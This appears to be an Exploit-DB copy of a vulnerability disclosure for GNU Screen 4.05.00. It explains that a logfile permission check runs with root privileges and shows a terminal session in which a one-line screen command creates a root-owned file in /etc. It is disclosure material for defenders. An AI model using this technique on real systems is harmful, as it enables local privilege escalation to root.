26 lines
No EOL
1.1 KiB
Text
26 lines
No EOL
1.1 KiB
Text
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
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2015-11-04)
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The check opens the logfile with full root privileges. This allows us to
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truncate any file or create a root-owned file with any contents in any
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directory and can be easily exploited to full root access in several ways.
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> address@hidden:~$ screen --version
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> Screen version 4.05.00 (GNU) 10-Dec-16
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> address@hidden:~$ id
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> uid=125(buczek) gid=125(buczek)
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groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
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> address@hidden:~$ cd /etc
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> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
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> address@hidden:/etc (master)$ ls -l bla.bla
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> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
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> address@hidden:/etc (master)$ cat bla.bla
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> fail
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> address@hidden:/etc (master)$
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Donald Buczek <address@hidden>
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EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184 |